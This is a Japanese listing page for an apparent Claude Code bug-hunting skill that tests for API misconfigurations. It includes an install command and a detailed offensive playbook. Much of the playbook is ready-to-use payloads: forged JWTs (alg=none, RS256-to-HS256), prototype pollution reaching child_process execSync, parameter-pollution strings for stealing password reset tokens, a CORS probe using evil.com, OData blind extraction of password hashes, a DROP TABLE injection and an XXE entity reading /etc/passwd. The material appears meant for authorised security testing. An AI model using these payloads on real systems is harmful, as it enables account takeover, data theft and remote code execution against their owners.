hunt-api-misconfig について
hunt-api-misconfigは、APIの設定不備を調査するセキュリティテスト用スキルです。マスアサインメント、JWTの問題、プロトタイプ汚染、URLパラメータ汚染、CORS、OData、OpenAPIの露出を扱い、調査と検証の手順を示します。
主な機能
- 01マスアサインメントとJWTのテスト
- 02プロトタイプ汚染の検証
- 03バックエンドURLパラメータのテスト
- 04CORSとODataの確認
- 05Swagger/OpenAPIの露出調査
活用シーン
- 01オブジェクト更新APIの権限昇格リスク調査
- 02入力値がバックエンドAPI URLに入る経路の追跡
- 03OData APIのアクセス制御不備のテスト
- 04公開されたAPI仕様を使ったエンドポイント把握
インストール
コマンドをコピーしてターミナルで実行します。
npx skills add https:/ / github.com/ elementalsouls/ claude-bughunter --skill hunt-api-misconfigインストール後、Claude Code で/hunt-api-misconfigを入力して読み込まれたか確認します。
詳細
12. API セキュリティの設定ミス
Mass Assignment
User.update(req.body) // body has {"role": "admin"} → privilege escalation
JWT None アルゴリズム
header = {"alg": "none", "typ": "JWT"}
payload = {"sub": 1, "role": "admin"}
token = base64(header) + "." + base64(payload) + "." # no signature
JWT RS256 → HS256 アルゴリズムの混同
# Get server's public key from /.well-known/jwks.json
# Sign token with public key as HMAC secret
token = jwt.encode({"sub": "admin", "role": "admin"}, pub_key, algorithm="HS256")
# Server uses RS256 key as HS256 secret → accepts it
Prototype Pollution
// Server-side — Node.js merge without protection
{"__proto__": {"admin": true}}
{"constructor": {"prototype": {"admin": true}}}
// URL: ?__proto__[isAdmin]=true&__proto__[role]=superadmin
サーバーサイドの Prototype Pollution では、まずオブジェクトのマージ処理を探し、次にシンクを探します。profile、address、preferences、settings、cart、admin job、import、webhook configuration などの JSON/オブジェクト更新エンドポイントを優先します。__proto__ に対する 200 レスポンスだけで終わらせず、汚染されたプロトタイプの状態が後続の処理に到達することを証明してください。
調査手順:
- オブジェクト更新エンドポイントを見つけます。 多数の名前付きフィールドや JSON オブジェクトを受け付けるエンドポイントを優先します。アプリがフォームを受け付ける場合は、JSON とフォームの両方のエンコードを試してください。必要に応じて CSRF/セッションフィールドも含めます。
- 無害なマーカー用プロパティを汚染します。 次のようなバリエーションを送信します。
{"__proto__":{"polluted":"pp-1337"}}
{"constructor":{"prototype":{"polluted":"pp-1337"}}}
__proto__[polluted]=pp-1337
constructor[prototype][polluted]=pp-1337
- 別のシンクを実行します。 汚染後に、account/profile/admin/job/export/search/render の各エンドポイントをリクエストし、ベースラインと比較します。強い兆候として、JSON のデフォルト値の変化、予期しないフィールド、オブジェクトプロパティに言及するサーバーエラー、ジョブ出力の変化、テンプレート/レンダリングエラー、コマンド/ジョブの挙動の変化などがあります。
- 判明したシンクを通じてのみエスカレーションします。 候補となるプロパティはシンクによって異なります。
{"__proto__":{"json spaces":10}}
{"__proto__":{"status":555}}
{"__proto__":{"isAdmin":true,"role":"admin"}}
{"__proto__":{"shell":"/bin/bash","argv0":"node","NODE_OPTIONS":"--inspect"}}
{"__proto__":{"execArgv":["--eval","process.mainModule.require('child_process').execSync('id')"]}}
- データ持ち出しを伴うラボや実際の影響を確認する場合は、非破壊的な証明を優先します。 管理者ジョブ、診断、エクスポート、レンダリングのエンドポイントが汚染されたデフォルト値を使用する場合は、許可されているときに限り、マーカーまたは環境変数/シークレットの読み取りを使用します。本番環境では、スコープでデータアクセスが明示的に許可されていない限り、制御されたマーカーの確認にとどめてください。
バックエンド URL/REST URL の構築におけるサーバーサイドパラメータ汚染
フロントエンドのフォームまたはエンドポイントが、パスワードリセット、アカウント検索、プロフィール取得、商品検索、在庫確認、検索などの処理で、ユーザーに代わってサーバーサイド API を呼び出しているように見える場合に使用します。この脆弱性は、通常のクライアントサイドのクエリ汚染ではありません。サーバーが入力を受け取り、次のようにバックエンド URL のパスまたはクエリ文字列へ埋め込みます。
/api/internal/users/<username>/field/email
/api/users/<id>
/api/users?username=<username>&field=email
調査手順:
- フローを見つけ、クライアントリクエストを確認します。 ページと、参照されている JavaScript を取得します。フォームの action、
fetch(...)、隠し CSRF フィールド、ブラウザーが送信する正確なパラメーター名を探します。リセット/アカウントフォームがある場合は、まず既知のユーザー名を試し、通常の成功/エラーの形式を把握します。 - 入力がバックエンドのパスとクエリのどちらに入るかを特定します。 入力に URL のメタ文字を送信します。
#、?、&x=y、/、../と、エンコードした形式%23、%3f、%26x=y、%2f、%2e%2e%2fを試します。Invalid route、API definition、unsupported fieldのような固有のエラーや、返されるフィールドの変化は、値が単なるテキストとして検証されるのではなく、サーバーサイドの URL ルーターによって解釈されていることを意味します。 - パストラバーサルを使って、サーバーサイド URL 内を移動します。
username/../other-userによって参照されるアカウントが変わる場合、入力は REST パスセグメント内にあります。次に、/field/email、/field/id、/field/username、/field/passwordResetTokenのようなルートフラグメントを追加してみます。バックエンド URL パーサーがフラグメントを処理する場合は、#または%23で元のバックエンドパスの残りを終端させます。 - エラーから API ドキュメントを見つけます。 API 定義を参照するようエラーに表示された場合は、一般的なドキュメント/仕様のパスを調べます。
/openapi.json、/swagger.json、/api-docs、/api/swagger.json、/swagger/v1/swagger.json、/v3/api-docsのほか、脆弱なバックエンドルートから仕様に到達しようとするパストラバーサルのバリエーションも試します。仕様ファイル、またはルートを説明するエラーから、有効なリソースとフィールド名が分かります。 - 影響の証明に必要な範囲でのみ悪用します。 パスワードリセット/アカウント検索のフローでは、他のユーザーのリセットトークンやシークレットなどの機密フィールドを取得し、そのトークンを通常のアプリケーションフローで使用してアカウント乗っ取りを完了させるのが、最も強力な証明です。
Invalid routeで終わらせず、ルーティングのフィードバックとしてエラーを活用してください。
観測されたパラメーター名に合わせて、次のペイロードパターンを試します。
username=administrator%23
username=administrator%3f
username=administrator%2f..%2fvictimuser
username=administrator/../victimuser
username=administrator/field/email%23
username=administrator/field/id%23
username=administrator/field/passwordResetToken%23
username=administrator%2ffield%2fpasswordResetToken%23
CORS の悪用
# Test: reflected origin + credentials
curl -s -I -H "Origin: https://evil.com" https://target.com/api/user/me
# If: Access-Control-Allow-Origin: https://evil.com + Access-Control-Allow-Credentials: true
# → CRITICAL: attacker reads credentialed responses
OData $filter / $select / $expand の WAF ブラックリスト回避(2024~2026 年の動向)
OData(Open Data Protocol)は、SharePoint、Microsoft Dynamics 365 / Power Platform、SAP NetWeaver Gateway / Fiori、および Microsoft.AspNetCore.OData を使用するすべての ASP.NET WebAPI プロジェクトを支えるクエリレイヤーです。SQL に似たクエリ演算子(eq、ne、and、or、substringof、startswith、tolower、concat、replace)を公開します。SQL 風に見えますが、SQL ではありません。そのため、キーワードのブラックリストに依存する WAF は、OData トラフィックを日常的に誤って許可します。
攻撃クラス 1 — startswith / substringof によるブール論理を使ったブラインド抽出
GET /_api/data/contacts?$filter=startswith(adx_identity_passwordhash,'a')
GET /_api/data/contacts?$filter=startswith(adx_identity_passwordhash,'aa')
先頭から文字ごとに試行します。レスポンスの件数(または @odata.count)が、プレフィックスが正しいことを確認するブール値のオラクルになります。SQLi エンジンは不要で、' / -- 文字も使いません。WAF に見えるのは正規の OData キーワードだけです。2023 年 12 月に Microsoft Dynamics 365 / Power Apps Portals から パスワードハッシュ、氏名、メールアドレス、住所、財務データが抽出され、Microsoft は 2024 年 5 月に修正しました。(Stratus Security の解説、The Hacker News による 2025 年 1 月の報道)
攻撃クラス 2 — $orderby / $select による列情報開示の回避
GET /api/data/v9.0/contacts?$orderby=emailaddress1 desc&$select=fullname
$orderby は、ユーザーに $select の権限がない列名を受け付けますが、エンジンはその列を使って並べ替えます。返された順序から、保護対象の列の値が漏えいします。列レベル ACL は射影($select)には適用されますが、$orderby / $filter には適用されません。同じ保護対象の列でも、コードパスが異なります。これは、同じ Dynamics 365 の情報開示に関する Stratus の 2 件目の発見です。Stratus によると、「最初の問題よりも危険性が高いのは、データを直接返していたため」です。
攻撃クラス 3 — $batch の multipart/mixed → リクエスト単位の WAF シグネチャがサブ操作を見逃す
POST /odata/$batch Content-Type: multipart/mixed; boundary=batch_1
--batch_1
Content-Type: application/http
GET Users?$filter=1 eq 1 HTTP/1.1
--batch_1--
外側のリクエストボディしかスキャンしない WAF(または multipart/mixed をネイティブに解析できない WAF)は、内側の操作をすべて見逃します。ModSecurity は過去に multipart/mixed を拒否していました(Issue #3296)。F5 がネイティブのバッチ解析を追加したのは Advanced WAF v16.1 になってからです(F5 の SAP-Fiori に関するアドバイザリ)。2025 年の WAFFLED 論文(arXiv 2503.10846)は、解析の不一致を利用した回避クラスを主要な WAF 5 製品にわたって一般化しています。
攻撃クラス 4 — エンコード済み/非標準の演算子によるキーワードブラックリスト回避
GET /api?%24filter=Name%20eq%20'x'%20or%201%20eq%201 # URL-encoded $
GET /api?%2524filter=... # double-encoded
GET /Users(1)/$value # path-segment style
大文字小文字が混在した演算子(Eq、EQ)や、あまり知られていない演算子(substringof、tolower、concat、replace)は、SELECT / UNION とは異なるため、SQLi キーワードのシグネチャが発動しません。文字列 $filter を検出する WAF では、どちらの形式も検知できませんが、OData サーバーは述語を評価する前に両方を正規化します。Kalra による Black Hat AD 2012 以降、文書化されている、OData と WAF の典型的な不整合です。(OWASP Double Encoding)
攻撃クラス 5 — ライブラリがフィルターをそのまま渡す場合の OData から実際の SQLi への移行
$filter=Name eq 'x'); DROP TABLE Users--'
OData レイヤーが LINQ を使わずに SQL に文字列連結する場合にのみ発生します。OData/WebApi Issue #2352 で文書化されています。XML のデシリアライゼーションを利用する亜種は、CVE-2019-17554(Apache Olingo OData 4.0.0-4.6.0 における XXE。application/xml ボディ内の <!DOCTYPE foo [<!ENTITY x SYSTEM "file:///etc/passwd">]> によるもの、CVSS 7.5)です。DoS の亜種は CVE-2018-8269(Microsoft.Data.OData の深くネストされた $filter による再帰からのスタックオーバーフロー)です。
おまけ — $expand ナビゲーションプロパティを介した IDOR
GET /Orders?$expand=Customer($expand=PaymentMethods($expand=Card))
認可デコレーターはトップレベルのエンティティセットに適用されますが、エンジンは結合先のエンティティの ACL を再確認せずにナビゲーションプロパティに沿って結合します。根本原因は、2021 年に発生した PowerApps Portals の 3,800 万件のレコードの大規模漏えいと同じです(UpGuard の解説)。
検出ヒューリスティック
- レスポンスヘッダー:
OData-Version: 4.0/DataServiceVersion: 3.0;URL パス:/_api/、/odata/、/_vti_bin/、/api/data/v9.x/、/sap/opu/odata/。 $metadataを試します → 匿名でアクセスできる場合、スキーマ全体(エンティティセット、ナビゲーションプロパティ、関数インポート)を取得できます。- 各エンティティセットに対して、列レベルの ACL を確認するため、
$filter=1 eq 1、$top=1、$select=*、続いて$orderby=<column-you-shouldnt-see>を試します。 - 同じペイロードを 3 通り(
$filter=、%24filter=、%2524filter=)で送信し、さらに$batch経由でも送信します。WAF の挙動に違いがあれば、パーサーの不一致バグがあることを確認できます。
NSwag / Swagger / OpenAPI 仕様の露出(2024-2026 年の状況)
NSwag は、ASP.NET Core 向けの Swagger/OpenAPI ツールチェーンです。デフォルトのルート(/swagger、/swagger/v1/swagger.json、/swagger/index.html)は、多くの .NET 6/7/8 プロジェクトで有効な状態で提供されており、開発者が本番環境でも有効なままにしているケースがあります。露出した仕様には、すべてのエンドポイント、HTTP メソッド、パラメーター名と型・形式・最大長、モデル、検証ルールが記載されており、JSON 形式の完全な攻撃マップとなります。
デフォルトの検出パス(web2-recon の相互参照)
# NSwag / Swashbuckle (ASP.NET Core)
/swagger, /swagger/index.html, /swagger/v1/swagger.json, /swagger/v2/swagger.json, /swagger/v3/swagger.json
/swagger-ui, /swagger-ui/, /swagger-ui.html, /api-docs
/nswag, /nswag/index.html, /api/swagger, /api/swagger.json, /api/openapi.json
# Generic OpenAPI
/openapi, /openapi.json, /openapi.yaml, /.well-known/openapi.json
# Java / Spring (Springfox / springdoc)
/v2/api-docs, /v3/api-docs, /v3/api-docs.yaml, /swagger-resources
# Python (FastAPI / Connexion)
/docs, /redoc, /openapi.json
# Quarkus
/q/openapi, /q/swagger-ui
# GraphQL adjacent
/graphql, /graphiql, /playground, /altair, /voyager
ツール:kiterunner は OpenAPI をネイティブに扱います。sj(Swagger Jacker)、apidetector、XSSwaggerも利用できます。
攻撃チェーン
A. 仕様の漏えい → 大量の IDOR / BOLA。 仕様には、すべてのGET /api/v1/users/{userId}/...が列挙されています。jq '.paths | keys' swagger.jsonを実行し、Autorize / ffuf -mc 200経由で{userId}を被害者の ID に置き換えます。よくあるケースとして、仕様に/api/admin/users/{id}/reset-passwordが記載されている一方、コントローラーに[Authorize(Roles="Admin")]が設定されていない場合、低権限ユーザーが ATO を実行できます。
B. 仕様の漏えい → マスアサインメント用ペイロードの構築。 components.schemas.UserUpdateDtoには、isAdmin、emailVerified、tenantId、roleなど、すべてのモデルフィールドが列挙されています。攻撃者はスキーマをそのままPATCH /users/meにコピーし、特権フィールドを追加します。DTO が読み取り用と書き込み用のモデルに分割されていない場合、サーバーの[FromBody]バインダーはそれらを受け入れます。
C. 隠しエンドポイント。 仕様には、フロントエンド UI から参照されていない/internal/*、/debug/*、/v0/*、/legacy/*ルートが記載されていることがあります。これらは到達可能でありながら、WAF ルールの適用対象外となっていたり、認証レビューで見落とされていたりすることがよくあります。
D. Swagger UI の configUrl 乗っ取り。 Swagger UI は?configUrl=から設定を読み込みます。サニタイズされていない場合、攻撃者は悪意のある OpenAPI 仕様をホストし、被害者に正規の Swagger UI のリンクと?configUrl=https://evil/spec.jsonを送ります。仕様内のルートは正規のオリジンを参照するため、被害者が「Try It Out」をクリックすると、同一オリジンの認証済みリクエストが送信されます。(HackerOne #3124103 — 米国国防総省 Swagger UI インジェクション、2025 年 5 月)
公開された事例
- CVE-2018-25031 — Swagger UI ≤ 4.1.2 における URL パラメーター経由の仕様インジェクション。org.webjars:swagger-ui に広く影響します(Swashbuckle および NSwag のバンドルに組み込まれています)。
- Swagger UI DOM XSS(3.14.1 → 3.38.0) — 古いバンドル版 DOMPurify とリモート仕様の読み込みにより、被害者のブラウザーで任意の JS が実行されます(Vidoc Security Lab の記事、PortSwigger Daily Swig)。PayPal、Atlassian、Microsoft、GitLab、Yahoo で実際に報告されています。
- HackerOne #3124103 — 米国国防総省、Swagger UI インジェクション(2025 年 5 月)。
- HackerOne #2534300 — Ionity GmbH、Swagger UI における HTML インジェクション。
- HackerOne #1656650 — Swagger UI の
url=パラメーター経由の反射型 XSS。 - CloudSEK の脅威インテリジェンス(2024 年) — 攻撃者が露出した
swagger-uiを悪用して、企業確認済みの WhatsApp メッセージ送信エンドポイントを呼び出し、顧客になりすましてメッセージを送信しています。執筆時点で Shodan 上に 6,000 件以上の露出した Swagger UI インスタンスが確認されています。(CloudSEK のレポート) - CVE-2023-38337 —
rswag(Ruby Swagger ツールチェーン)のディレクトリトラバーサル。仕様エンドポイント自体も攻撃対象領域であることを示す事例です。
検出チェックリスト
- 上記のすべてのパスに対して、サブドメインの全セットを対象に httpx-probe を実行します。
Content-Type: application/jsonを含む 200 応答で、本文が"swagger"または"openapi"に一致するものにフラグを立てます。 - ヒットごとに、
jq '.paths | keys' swagger.jsonを実行し、kiterunner / Autorize に渡します。 jq '.components.schemas' swagger.jsonを実行し、一括割り当てのフィールド候補を確認します。- Swagger UI の HTML からバージョン文字列をバナー表示し、CVE-2018-25031 / DOM-XSS の表に照合します。
- Swagger UI が見つかったすべての箇所で、
?configUrl=と?url=パラメーターの処理をテストします。
関連スキルと攻撃チェーン
hunt-ato— サインアップ/プロフィールでの一括割り当ては、管理者権限を得る最速の手段です。攻撃チェーンの基本要素:API の一括割り当て +hunt-ato→ サインアップ時にrole=adminを設定 → 初回ログイン時に特権ロールを利用して ATO を実行。hunt-auth-bypass— JWT の欠陥は認証レイヤー全体を無効化します。攻撃チェーンの基本要素:JWT のalg=none+hunt-auth-bypass→ 署名不要でsubに被害者の ID を設定し、任意のユーザーになりすます。hunt-rce— Node.js の依存関係(lodash、mongoose、jQuery)にあるプロトタイプ汚染ガジェットは、child_process.spawnに到達します。攻撃チェーンの基本要素:プロトタイプ汚染(__proto__.shell=true)+hunt-rce(Node.js ガジェットチェーン)→ API ノードで RCE を実行。hunt-subdomain— ワイルドカードサブドメインを含む CORS 正規表現は、乗っ取り可能なホストを信頼します。攻撃チェーンの基本要素:CORS 許可リスト*.target.com+ サブドメインの乗っ取り → 攻撃者が制御するオリジンから、認証情報を含む API 応答を読み取る。security-arsenal— JWT 攻撃ペイロードのセクション(alg=none、kid パストラバーサル、JWK インジェクション、埋め込み JWK)と、一括割り当てフィールドのワードリスト(is_admin、role、verified、permissions、org_id、tenant_id)を読み込みます。triage-validation— Server-Policy-vs-State ゲートを適用します。CORS ヘッダーの設定が緩いだけでは参考情報にとどまります。報告する前に、機密データをクロスオリジンで認証情報付きで実際に読み取れることを実証してください。